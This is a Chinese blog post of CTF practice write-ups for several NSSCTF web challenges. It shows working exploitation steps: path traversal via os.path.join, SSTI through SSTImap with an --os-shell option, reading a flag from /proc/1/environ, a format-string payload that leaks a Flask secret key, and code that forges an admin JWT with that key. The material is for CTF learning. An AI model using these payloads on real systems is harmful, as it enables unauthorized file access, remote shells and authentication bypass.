在BITs2sys刷题的一些wp(01)

摘要: 怀着激动的心情加入了学校的CTF战队,时隔2年,再次打开NSSCTF开始刷题,心情十分复杂,以前会的现在忘了,以前不会的现在好像攻克了。但不管怎说,一段新的CTF生涯正在进行,加油吧! [NISACTF 2022]babyupload F12 1 2 3 4 5 6 7 8 9 <html><head></head><body> <form …

怀着激动的心情加入了学校的CTF战队,时隔2年,再次打开NSSCTF开始刷题,心情十分复杂,以前会的现在忘了,以前不会的现在好像攻克了。但不管怎说,一段新的CTF生涯正在进行,加油吧!

[NISACTF 2022]babyupload

F12

1
2
3
4
5
6
7
8
9
<html><head></head><body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->

</body></html>

转到/source查看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()

注意到os.path.join(),发现可以利用CVE-2020-35736,重发请求,修改文件名为"/flag"

参考:

os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后。

然而,这个函数有一个少有人知的特性。如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将被视为绝对路径。下面的示例揭示了开发者可能遇到的这个陷阱。

1
2
3
4
5
6
7
def read_file(request):
 filename = request.POST['filename']
 file_path = os.path.join("var", "lib", filename)
 if file_path.find(".") != -1:
     return HttpResponse("Failed!")
 with open(file_path) as f:
     return HttpResponse(f.read(), content_type='text/plain')

在第 3 行中,我们使用 os.path.join 函数将用户输入的文件名构造出目标路径。在第 4 行中,检查生成的路径是否包含”.“,防止出现路径遍历漏洞。

但是,如果攻击者传入的文件名参数为”/a/b/c.txt“,那么第 3 行得到的变量 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。尽管 os.path.join 的文档中描述了这种行为,但这还是导致了许多漏洞

警惕!Python 中少为人知的 10 个安全陷阱! - 知乎

[HNCTF 2022 WEEK2]ez_SSTI

比较逆天的题,猜不到注入点是name就永远做不出来。

既然题目给了SSTI (Server Side Template Injection) - HackTricks,那就学习一些高级技法

1
2
3
4
5
git clone https://github.com/vladko312/SSTImap.git

cd SSTImap

pip install -r requirements.txt

然后检索一下

1
python sstimap.py -u "http://node5.anna.nssctf.cn:24352/?name=1"

得到结果可以注入,那就传一个伪shell上去

1
python sstimap.py -u "http://node5.anna.nssctf.cn:24352/?name=1" --os-shell

正常ls发现当前目录就有flag,cat以下即可。

附一个最全SSTI模板注入waf绕过总结(6700+字数!)_ssti注入绕过-CSDN博客

[LitCTF 2023]Flag点击就送!

flask的session签名伪造,需要一定玄学(猜测关键词为LitCTF)

[HNCTF 2022 WEEK3]ssssti

同week2

[GHCTF 2024 新生赛]理想国

用API构造一个用户,获得token,解析一些,发现是JWT

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEifQ.uaahZh_a2WcFPzMcnOIrefvRpAeR1LG3AlU4rz8m
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "header": {
    "alg": "HS256",
    "typ": "JWT"
  },
  "payload": {
    "password": "1",
    "username": "1"
  },
  "signature": "uaahZh_a2WcFPzMcnOIrefvRpAeR1LG3AlU4rz8m"
}

然后GET /api-base/v0/search?file=查找敏感目录。可以通过访问/proc寻找flag。

在/proc目录中,每个运行的进程都有一个以其PID(进程ID)命名的子目录。这些子目录包含了进程的详细信息,以下是一些关键文件和它们的用途:

  • /proc/[PID]/cmdline:显示启动该进程的命令行。
  • /proc/[PID]/cwd:指向进程的当前工作目录。
  • /proc/[PID]/exe:指向正在执行的二进制文件。
  • /proc/[PID]/fd/:包含该进程打开的所有文件描述符。
  • /proc/[PID]/stat:包含关于进程状态的详细信息,如进程状态、CPU时间等。
  • /proc/[PID]/status:提供进程状态的简明信息,包括内存使用、用户ID、组ID等。
  • /proc/[PID]/environ: 获取当前进程的环境变量信息

这些文件和目录可以用于监控和调试进程。

每一个运行的进程都存在pid,对应的在/proc就存在一个/proc/pid的目录,这个/proc/pid目录也是一个伪文件系统.通常情况下每个/proc/pid是属于运行进程的有效用户的UID和GID.但是如果一个进程的dumpable属性的值大于1,从安全角度考虑,/proc/pid的属性就是root:root.

在4.11的内核版本之前,root:root表示的是全局UID和GID (在初始化的用户空间中的UID和GID都是0).但是在4.11之后的内核版本,如果这个进程不是在初始化的用户空间中,它的UID却是0,那么对应的/proc/pid的权限也是root:root.这就意味着在docker容器内,如果将进程的PID设置为0,那么这个进程在容器内就是以root权限运行的

所以可以尝试查看/proc/0以及/proc/1,在/proc/1/environ中发现flag。

后来看wp发现这个是非预期解。

[MoeCTF 2021]地狱通讯与地狱通讯-改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask import Flask, render_template, request, make_response, redirect
from secret import secret, headers, User  # 导入必要的模块和对象
import datetime
import jwt  # JSON Web Token库,用于生成和验证token

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
    # 打开并读取当前脚本(app.py)的内容
    f = open("app.py", "r")
    ctx = f.read()
    f.close()

    # 创建响应对象
    res = make_response(ctx)
    
    # 获取URL参数中的'name',如果没有提供则为空字符串
    name = request.args.get('name') or ''
    
    # 如果'name'包含'admin'或者为空,则直接返回脚本内容
    if 'admin' in name or name == '':
        return res
    
    # 创建JWT token的有效载荷
    payload = {
        "name": name,
    }
    
    # 使用'secret'密钥和指定的headers生成JWT token
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    
    # 将生成的token设置为cookie
    res.set_cookie('token', token)
    
    return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
    # 尝试从cookie中获取'token'
    token = request.cookies.get('token')
    
    # 如果没有找到token,则重定向到首页
    if not token:
        return redirect('/', 302)
    
    try:
        # 解码token,如果签名无效则抛出异常
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    
    # 如果解码后的名字不是'admin',则根据名字创建User对象,并准备消息
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        # 如果是'admin',渲染包含flag的页面
        return render_template('flag.html', name=name)

if __name__ == "__main__":
    app.run()

所以先在根域名下通过name生成一串cookie,再进入hello,用flag注入

payload

1
{0.__class__.__init__.__globals__}

找到密钥

1
u_have_kn0w_what_f0rmat_i5

python中伪造一个cookie

需要注意的是,pip应该安装PyJWT而不是jwt,在这被坑了

1
2
3
4
5
pip install PyJWT

import jwt

jwt.encode({"name":"admin"}, "u_have_kn0w_what_f0rmat_i5", algorithm='HS256', headers={"alg": "HS256","typ": "JWT"})

得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.jlAcmWWxtmNLxbxwfRE45Fxf16dX6LQmrK_1dgx7zmg

从而获得flag

这个题和LitCTF2023 WEEK3ssti十分类似

Licensed under CC BY-NC-SA 4.0

博客由 Hugo 强力驱动,主题采用由 Jimmy 设计的 Stack ,并由 lamaper 个性化修改。